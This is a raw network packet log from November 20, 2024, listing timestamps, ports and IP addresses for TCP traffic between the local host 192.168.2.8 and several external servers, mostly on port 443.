Nov 20, 2024 03:21:05.478060007 CET	443	49743	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.507493973 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.507514000 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.507658958 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.507981062 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.507996082 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.532038927 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.532072067 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.532177925 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.532578945 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:05.532608986 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:05.541151047 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.541194916 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.541344881 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.541697979 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.541721106 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.541744947 CET	49744	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.541759014 CET	443	49744	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.624782085 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.624799967 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:05.624893904 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.625329971 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:05.625340939 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.113930941 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:21:06.142503977 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.143481016 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.143488884 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.144952059 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.145011902 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.145348072 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.145473003 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.145791054 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.145796061 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.172025919 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.172374010 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.172405005 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.173641920 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.173707962 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.174175024 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.174285889 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.174489021 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.174506903 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.220578909 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.268120050 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.280361891 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280375004 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280414104 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280420065 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280443907 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280446053 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.280466080 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.280505896 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.280505896 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.280539036 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.295767069 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295795918 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295808077 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295828104 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295841932 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295851946 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.295912027 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.295912027 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.295919895 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.296078920 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.312715054 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.312830925 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.314656973 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.314660072 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.315345049 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.316649914 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.359333992 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.366576910 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.366622925 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.366663933 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.366714001 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.366734982 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.366786003 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.368688107 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.368705988 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.368769884 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.368788958 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.369026899 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.377401114 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377413034 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377434969 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377465010 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377482891 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377509117 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.377516031 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.377548933 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.379949093 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.379980087 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.380023956 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.380028963 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.380074978 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.381685972 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.381767988 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.381807089 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.381839037 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.382473946 CET	49747	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.382482052 CET	443	49747	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.453434944 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.453502893 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.453521967 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.453540087 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.453557968 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.453598022 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.454571962 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.454617023 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.454649925 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.454663992 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.454696894 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.454739094 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.455471039 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.455524921 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.455565929 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.455579042 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.455621004 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.455640078 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.456790924 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.456837893 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.456882000 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.456895113 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.456928015 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.456948042 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541228056 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541286945 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541316986 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541332006 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541366100 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541393042 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541485071 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541560888 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541611910 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541629076 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.541641951 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.541785002 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542332888 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542355061 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542397022 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542409897 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542424917 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542462111 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542530060 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542598009 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542603016 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542634964 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.542663097 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.542697906 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.543494940 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.543545961 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.543586016 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.543600082 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.543638945 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.543658972 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.544209957 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.544265985 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.544291973 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.544306040 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.544334888 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.544496059 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.544559002 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.544847012 CET	49749	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:06.544874907 CET	443	49749	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:06.642441034 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.642493963 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.642955065 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.652339935 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.652353048 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:06.652364016 CET	49750	443	192.168.2.8	184.28.90.27
Nov 20, 2024 03:21:06.652371883 CET	443	49750	184.28.90.27	192.168.2.8
Nov 20, 2024 03:21:14.186147928 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:14.186208963 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:14.186264038 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:14.200727940 CET	49738	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:21:14.200769901 CET	443	49738	142.250.186.68	192.168.2.8
Nov 20, 2024 03:21:20.482213974 CET	49706	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:20.482501030 CET	49706	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:20.483576059 CET	49827	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:20.483671904 CET	443	49827	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:20.483762026 CET	49827	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:20.484191895 CET	49827	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:20.484235048 CET	443	49827	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:20.783035040 CET	49706	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:21.038465023 CET	443	49706	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:21.038479090 CET	443	49706	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:21.038522959 CET	443	49706	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:21.626481056 CET	443	49827	23.206.229.226	192.168.2.8
Nov 20, 2024 03:21:21.626568079 CET	49827	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:21:29.264393091 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:29.264442921 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:29.264503956 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:29.264839888 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:29.264853001 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:29.939166069 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:29.939254999 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:29.940952063 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:29.940965891 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:29.941205978 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:29.958151102 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.003329039 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.203991890 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.204020977 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.204036951 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.204099894 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.204118967 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.204140902 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.204165936 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.204945087 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.204986095 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.205010891 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.205014944 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.205034971 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.205251932 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:30.205383062 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.208991051 CET	49828	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:21:30.209003925 CET	443	49828	172.202.163.200	192.168.2.8
Nov 20, 2024 03:21:36.128619909 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.128669977 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.128773928 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.129240990 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.129252911 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.773004055 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.773063898 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.777466059 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.777476072 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.777703047 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.785872936 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.831321955 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.887944937 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.887968063 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.887981892 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.888154030 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.888154030 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.888181925 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.888231993 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.971012115 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.971030951 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.971178055 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.971204042 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.971251965 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.972953081 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.972970009 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.973006010 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.973023891 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:36.973035097 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:36.973058939 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.068614960 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.068628073 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.068684101 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.068695068 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.068728924 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.069303989 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.069317102 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.069360971 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.069365978 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.069401979 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.069958925 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.069977999 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.070008039 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.070010900 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.070034981 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.070051908 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.070764065 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.070777893 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.070822001 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.070826054 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.070854902 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.070873976 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.156305075 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.156322002 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.156392097 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.156420946 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.156455040 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.156897068 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.156910896 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.156964064 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.156968117 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.157001972 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.157186031 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.157198906 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.157231092 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.157234907 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.157263041 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.157275915 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.158063889 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.158072948 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.158111095 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.158117056 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.158140898 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.158186913 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.158653975 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.158696890 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.158735991 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.160695076 CET	49829	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.160707951 CET	443	49829	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.192693949 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.192744017 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.192807913 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194628000 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194665909 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194672108 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.194705963 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.194730043 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194757938 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194837093 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.194852114 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.195777893 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.195812941 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.195873022 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.195919991 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.195938110 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.196017027 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.196033955 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.196099043 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.196116924 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.197060108 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.197072983 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.197141886 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.197244883 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.197253942 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.833870888 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.835371971 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.835834980 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.835854053 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.836239100 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.836245060 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.836517096 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.836524963 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.836766958 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.836771965 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.837017059 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.839607000 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.839669943 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.839886904 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.839901924 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.841274977 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.843441963 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:37.843589067 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:37.843606949 CET	443	49830	13.107.246.45	192.168.2.8
